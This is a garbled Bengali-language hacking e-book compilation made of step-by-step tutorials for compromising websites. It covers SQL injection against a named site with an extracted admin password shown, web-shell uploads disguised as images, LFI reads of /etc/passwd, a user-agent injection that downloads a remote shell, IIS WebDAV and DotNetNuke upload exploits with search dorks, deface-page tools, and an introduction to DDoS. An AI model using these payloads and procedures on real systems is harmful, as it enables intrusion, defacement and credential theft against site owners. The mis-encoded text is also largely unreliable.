AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 17: Hacking Bangla eBook

Session Hijacking Malware Attack

Website Defacement Dos attacks

কাচছটব কত ndash কতনফবাকতচত টিউনাযtrade গগর

শব কাভনা অনাচছদয জনয যাকতকং কতখন কতকনত যাকতকং কষকতত কযায উচছেচছয কাচছজ রাগাচছফন না ভরতঃ যাকতকং ভযাথচছডয সল সনআ অা ককতয সকউ ফরচছত াযচছফ না সম

অকতভযাকতকংচছযয ফআ াকতয তাচছর স বর ফচছরচছছ এচছকয য এক কতনযভ নতকতয চছে

যাকতকং কযা য অচছর কতনচছজয সভধা কতদচছয অকতন সম বাচছফ াচছযন যাকতকং কচছয মাচছফন অজ সদখাফ যাকতকংচছযয অচছযকটি জনকতপরয ভযাথড এটা চছনচছকআ ফযফায কচছযথাচছক চরন তাচছর ভর চছফব চচছর মাযা মাক

LFI

যাকাযচছদয

একটি জনকতপরয ভযাথড এটি একটি ংকতকষি নাভ এআ ংকতকষি বদটিয ণবর র

Local File Inclusionঅজ

অনাচছদয

াচছত-করচছভ সদখাফ কতকবাচছফ অকতন একটা াআচছট LFI Injection কতদচছত য

পরথচছভ

কতনচছচয PHP সকাডগচছরা

সদখনhellip

$page=$_GET[page] include($page)

gt

উচছয php সকাডটি চছনক চছযফ সডচছবরাযযাআ তাচছদয চছযফাআচছট ফযফায কচছয থাচছক

কতকনত এটি অচছর তাযা বর কচছয থাচছক কাযণ এআ $pageসকাডটি sanitized না এফং এটি এটা যাকাযচছদয থটা জ কচছয সদয ভরতঃ এআ সকাডটি যাকাযযা তাচছদয LFI যাকতকংচছযয কাচছজ ফযফায কচছয থাচছক অকতন মকতদ কতফকতবনন াআট ঘচছয থাচছকন তাচছর ত কতনচছচয সকাড াআচছটয কতরংক সদখচছত াযচছফ

wwwmywebsitecomindexphppage=productsphp

অকতনএআ ধযচছনয াআচছট সকান ধযচছনয যীকষা ছািাআ ফঝচছত াযচছফন সম

এটি একটি বযারচছযফ চছযফাআট ধচছযন অকতন একটা াআচছট ঢকচছরন উি াআচছটয URL র

wwwmywebsitecomindexphppage=mypagephp

এখাচছন

সদচছখন mypagephp াতাটি

াবব াচছয

সনআ তাআ এটি একটি php error message ভযাচছজ সদচছফ সমভনঃ-

Warning

include() [functioninclude] Failed opening mypagephp for

inclusion

তাচছর

এফায অভযা এআ াআচছট পরচছফ কযফ অভযা জানরাভ সম এটিএকটি vulnerable চছযফাআট মকতদ এআ াআটটি unix server এ চছয থাচছক তাচছর অভযা যত াযাচছডব পাআরটি এখান সথচছক সফয কযচছত াযফ etcpasswd

এআডাআচছযকটকতযচছত াধাযণত াযাডব ংযকতকষত থাচছক সমভনঃ

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

এখন

অভযা পাআচছর

পরচছফ

কচছয াযাডব কতনচছত সচিা কযফ এখাচছন একটা কতজকতন ভচছন যাচছখফন সটায জনয কতনচছচয কতরংকটি সদচছখনhellip

wwwmywebsitecomindexphppage=products

এখাচছন

একটা কতজকতন রকষয করন সম

php এয

য page=products যচছযচছছ

এটি অচছর ভযানযাকতর কযা চছযচছছ তাআ এখাচছন php র

$page=$_GET[page]

include($pagelsquophplsquo)

gt

এআ জনযআ কতরংচছকয সচছল null extension ফযফহত চছয থাচছক

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpassd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

সফকতকষণচছনআ অকতন এআ াআচছটয াযাডব পাআরগচছরা সচছয মাচছফন passwdlsquo file পাআর িচছকব অগাকতভ কতফসতাকতযত ফরা চছফ এছািা অকতন অয সদখচছত াচছফনhellip

etcprofile

etcservices

etcpasswd

etcshadow

etcgroup

etcsecuritygroup

etcsecuritypasswd

etcsecurityuser

etcsecurityenviron

etcsecuritylimits

usrlibsecuritymkuserdefault

এআ পাআরগচছরা অনাচছক াবব াচছযয অয গরতবণব চছনক তথয কতদচছফ

------------------------------------------------------------------------------------------

hellipএবার িঅমরা হযাসকিং মদেবhellip

Requirements

1) Site vulnerable to LFI ( httpwwwsitecom)

2) Remoteshell( httpwwwyourhostingurshelltxt)

3) User-Agent_switcher( httpsaddonsmozillaorgen-USfirefoxhellip-switcher

4) Mozilla Firefox Browser

পরথচছভআ সদচছখ কতনন অনায াআটটি LFI এয জনয vulnerable কতকনা

Google ―Dork

indexphphomepage=

indexphppage=

indexphpindex2=

allinurlindexphppage=

অচছন replace কযচছত াচছযন index and page জাযগায নয কতকছ কতদচছয াচব কতদচছত াচছযন

সমভন

allinurlsitephpsite=

এফায ডক গগচছর কতদচছয াচব কতদন

অভযা

কতনচছছয ভত একটি াআট কতনরাভ

httpwwwfilllpgcoukindexphppage=contactsphp

এফায replace contactsphp মাযগায null তাচছর কতনচছছয ভত চছফ

httpwwwfilllpgcoukindexphppage=null

তাচছর নীচছচয ভত সদখাচছফ

If you see a list of errors running down the page or missing content

(pictures text etc) then the site is vulnerable and we may continue

otherwise just move on to the next site

Now were going to try and connect to a file which we know exists on Linux

servers etcpasswd

Since indexphp has the rights to connect to a file like contactsphp its

possible that the administrator has forgottten to restrict its access to other

files including the files containing sensitive data

Were going to try to read the file etcpasswd which contains data

on root users etc

অভযা null না কতদচছয etcpasswd কতদচছয যাকতয কাজটি কযচছত

াকতয নীচছচয ভত

এফায etcpasswd পাআরটি চছন কযচছত সচিা করন সমভনঃ

httpwwwfilllpgcoukindexphppage=etcpasswd

মকতদ ডাটায সকান কতরে অচছ তাচছর বাগযফান

েসব মদেি http2bpblogspotcom-YAu_DU3GnIoUKBUrssob4IAAAAAAAAAncHqzZkWe3Mags16001JPG

etcpasswd এয মাযগায procselfenviron কতদন তাচছর কতনচছছয ভত সদখচছত াযচছফন ফ াআট এ না থাকচছত াচছয

httpwwwfilllpgcoukindexphppage=procselfenviron

েসব মদেিhttp2bpblogspotcom-qNdN6g9o1MwUKBU-FTOEGIAAAAAAAAAnkYY7AfqVLRlws16002JPG

এফায User-Agent switcher টি ডাউনচছরাড করন এফায Tools ndashgt Default User-Agent

ndashgt Edit User Agents এখাচছন মান তাচছর কতনচছচয ভচছতা কচছয অচছফhellip

েসব মদেি http4bpblogspotcom-fh7-99XttP4TocL11IQMjIAAAAAAAAANMgzecxiOXVFAs4001JPG

এফায

অভযা নতন একটি new user-agent নতকতয কযফ এজনয এখাচছন মান New ndashgt New User-Agent তাচছর

অকতন কতনচছচয ভচছতা কচছয সদখচছত াচছফন

েসব মদেি http3bpblogspotcom-WD_WKG02RTQTocL5ww6j5IAAAAAAAAANQWM_jJ7BPEaIs4002JPG

এখাচছন সমটা সমবাচছফ অচছছ সবাচছফআ সযচছখ চচছর অন Description এ নাভ কতরখন এফং

User-Agent টি এখাচছন সি করন User-Agent এয Tools

ndashgt Default User Agent ndashgt PHP Info সত মান এফায অনায াআচছট মান কতযচছে সদন

তাচছর অকতন উি াআচছট কতনচছচয ভচছতা সদখচছত াচছফন

েসব মদেি http2bpblogspotcom-

kpML0wTbmOYUKBV_gC2FTIAAAAAAAAAoEPpFQMVpKzbUs16006JPG

এফায

Ctrl+F সচচছ

―disable_functions খচছজ সফয করন

disable_functions

| no value | no value

এখন

অভযা অভাচছদয সর কতদচছত াযফ এফায অফায অনায User-Agent এ মান

Edit করন

এফায ―User-Agent টি কতযফতব ন কচছয কতরখন

httpwwwsh3llorgegytxt -O shellphp)gt[

এটা সকাথা সথচছক কতনরাভ অনাচছক পরথচছভ সম ডাউনচছরাড কযচছত ফরা র সর সখান সথচছক এটা সনযা চছযচছছ এখাচছন অভযা উচছয একটি txt পাআর ডাউনচছরাড কচছযকতছ অকতন এটা চছন করন এফায File --gt Save as এ মান এফায shellphp নাভ কতদচছয সবকরন ]

এফায

এটি সব কচছয াআটটি কতযচছে করন এফায তাচছর এখাচছন মান httpwwwsitecomshellphp ভাচছন এটা অনায কতবকটিচছভয াআচছটয কতরংক

েসব মদেি http3bpblogspotcom-

SRkz9h0d8soUKBWLQD1FMIAAAAAAAAAoMlpGNG1UgYMss16007JPG

কতকছ

সডচছভা

াআট কতরংক কতদরাভ

কতকছ

াআট LFI httppastebinca2385927

কতফধাযজনয াচছথ কতবকতড টিউটিকতযযার কতদরাভ

httpwwwyoutubecomwatchv=FP229bKm5v4

httpwwwyoutubecomwatchv=9W9qWAhwaTo

httpwwwyoutubecomwatchv=hMguilRsteY

কাচছটব কত-কতনফবাকতচত টিউনাযtrade

অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ

সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত

অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয

উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ

WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-

00A0C90AB50F

কতরচছখ Enter চান

২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo

ছকতফ

৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address

Google Dork - ldquoPowered by IISrdquo

৪কতিক NextgtNextgtFinish

৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন

এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik

কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয

gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt

কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব

ফাংরা যাকতকং টিউচছটাকতযযার

পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন

ছকতফ

এফায Next ফাটচছন কতিক করন

ছকতফ

অফায Next করন

ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg

এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom

ছকতফ

অফায Next ফাটচছন কতিক করন

এফায Finish ফাটচছন কতিক করন

ছকতফ

এফায Network Location Option mdashgt website folder এ কতিক করন

ছকতফ

এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন

wwwzidducomdownload16498227shellziphtml

এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন

ছকতফ

এফায Poweraspjpg পাআরটি ককত করন

ছকতফ

এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন

ছকতফ

সি কযা সল

এফায অনাযা বরাউজাযটি চছন করন

তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন

সমভনঃ httpwwwmyxixiacompoweraspjpg

ছকতফ

তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ

ছকতফ

এফায অনাযা deface html পাআরটি চছন করন

এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন

এফায সকাড ফগচছরা ককত করন

ছকতফ

এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন

ছকতফ

সব কযায য অকতন এভন একটি সজ াচছফন

ছকতফ

এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related

`

DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন

inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx

গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না

ছকতফ

২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ

৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা

ছকতফ

৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)

ছকতফ

৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ

৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত

কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয

কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায

সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww

কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক

ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ

কতকবাচছফ DdoS যাটাক কযফ

পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন

DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য

এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ

থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক

এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা

এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন

কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয

১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ

অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয

একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয

কতকনত DoS যাটাক টা চছে কতনচছচয ভত

অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত

D0S DDoS attack এয কাযন কতক

২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ

অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক

১) যাকাযচছদয কভতরফ

খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ

ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন

যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক

থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয

থফা কতনতানতআ পরযাকটি এয উচছেচছ

২) sysadmin এয বার ভতরফ

নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ

াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ

কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন

DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায

DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয

ড যাটাক এয কভন কামবপরণারী গচছরা চছে -

কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা

কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা

াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ

--------------------------------------------------------------------------------------------------------------------------------------

----------------------

অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ

